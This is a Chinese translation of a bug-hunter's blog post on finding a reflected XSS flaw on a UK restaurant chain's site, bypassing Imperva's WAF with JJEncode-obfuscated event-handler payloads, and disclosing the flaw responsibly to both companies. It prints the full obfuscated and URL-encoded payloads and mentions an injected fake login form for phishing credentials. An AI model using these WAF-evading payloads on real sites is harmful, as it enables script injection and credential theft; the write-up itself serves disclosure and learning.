Imperva WAF Bypass【翻譯】

原文鏈接

前前言

投稿被拒,發自己博客吧,就當提高英語水平了

前言

描述了我是如何繞過Imperva WAF觸發XSS,並與兩方溝通處理漏洞的故事

正文

這是個關於一個流行的英國連鎖餐廳網站上的XSS漏洞的故事,這家連鎖餐廳,我簡單地稱之爲某餐廳(Shenanigan's)。事實上,有趣的事情不僅是這個XSS漏洞本身,繞過WAF的過程同樣有趣。

讓我們從 開始

我坐在辦公室裏查看某餐廳地網站,努力查找我所處的地區,看他們是否送貨。我輸錯了我正想要查詢的地址,並得到了一個未找到地址的回顯。

 

有趣的是,我查找的詞語被包含在響應頁面中了。由於剛剛在沉浸式實驗室中玩了幾個XSS靶場——輸入html代碼看看會發生什麼,出現在我腦海的第一件事就是嘗試往搜索框中輸入HTML標籤測試。打開開發者工具審查元素,發現我完成了html注入,這同樣表現在了url上

search?search=<b>testing</b>#results

所以我們發現了反射型XSS。

 

 這很糟糕但是Javascript執行更糟糕,所以我嘗試了一個新的url

search?search=<script>console.log("XSS")</script>#results

 但響應並不是我預期的控制檯消息,而是Imperva的鎖定頁

 

谷歌搜索告訴我,Imperva是一個Web應用防火牆,用來保護網站免受我試圖發起的攻擊。我嘗試了一些通用編碼和過濾繞過方法,但令人驚訝的是每次嘗試都被屏蔽了,在一系列嘗試之後,我的IP被屏蔽了。

所以Javascript被WAF屏蔽了,但是底層的網站仍然容易受到反射XSS的攻擊,我知道我可以注入HTML,所以我想證明即使沒有運行Javascript的能力,它仍然可能是有害的。

短暫地玩了一會兒之後,我輸入了一個url,它會插入一個HTML登陸表單,這個表單會把所有輸入的登陸信息發送到我的域名(服務器)。

由於這一切都在url上,我可以生成一個看上去合法的來自某餐廳的url,並通過社工手段使用戶交出他們的證書。

我仍然不高興我沒有javascript執行,所以我開始玩一些規避技術,試圖確定哪些字符會觸發XSS檢測。在幾次嘗試之後,我在控制檯中得到了一個javascript錯誤。

在搜索查詢框中輸入

<code onmouseover="new hello;">test</code>

導致控制檯窗口中出現javascript錯誤

更重要的是我沒有觸發WAF。

所以我稍微可以運行javascript了,但每次我試圖創建一個實際的函數或使用標準javascript時,WAF就會啓動。我需要運行看起來不像Javascript的Javascript。

幸運的是,至少對我來說。我以前見過這種技術。JJEncode和JS-Fuck是我見過的漏洞利用工具包裏用來混淆javascriptpayload和重定向鏈(redirect chains)以阻礙分析並努力避開檢測引擎的技術。

JJEncode和JSFuck使用您想要執行的javascript,從中創建的有效javascript代碼(不使用字母或數字字符,而是使用一組符號)。

讓我們看個例子

alert("Hello, JavaScript" )

jjencode編碼後

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();

這段離譜的JavaScript代碼在我看來就像黑魔法,但它確實有效。

我把它放在onmousover這個html標籤中,再次嘗試

我再一次觸發了WAF。

我再度嘗試jjencode編碼,並進行了一次url編碼,這給了我一個非常醜陋的url

https://shenanigans/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E

 但WAF似乎並沒觸發,如果插入代碼被加載在web應用程序上,當我觸發onmouseover事件就會彈出我的Javascript警報。

此刻,我已經足夠開始一個負責任的披露。這有兩個部分。一個是通知某餐廳我在他們的網站上發現了一個問題,第二個是通知Imperva,有一個微小的繞過他們WAF的技術。

Imperva這部分比較簡單。我向Imperva.com的安全部門發了郵件,在同一天內,他們第一時間回覆我,要求我提供更多信息。我向他們提供了我所掌握的所有信息,大約一週後,幾封郵件之後,他們確認他們已經發現了問題,並將推出更新。一次簡單而快速的交換。

與某餐廳交流就不那麼容易了。

我試着發郵件給安全,信息和支持部門但沒有回覆。我在他們的網站上嘗試了一個在線交流,甚至打電話給客戶支持熱線,但都沒有成功地找到合適的業務部門。

在幾天沒有迴應之後,我不想就這樣離開,我也不認爲公開披露這件事是最好的選擇,所以我選擇了領英linkedin,並快速搜索一個能讓我聯繫到正確團隊的人。

我找到的第一個應該會產生一些結果的是CISO小組,這感覺有點沉重,但我只是想有人看看它。所以我在LinkedIn上直接給他發送了一條信息。

得到了簡單而快速的反應。他爲我尋求溝通的困難道歉,感謝我的堅持不懈,並向我保證,將爲面向客戶的團隊制定更好的流程。

我向某餐廳提供了與給Imperva相同的信息,幾天後他們同樣確認了這個漏洞,並表示漏洞已經得到了緩解。

此刻,這已經是個1day漏洞,又使互聯網變得更安全了一點

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章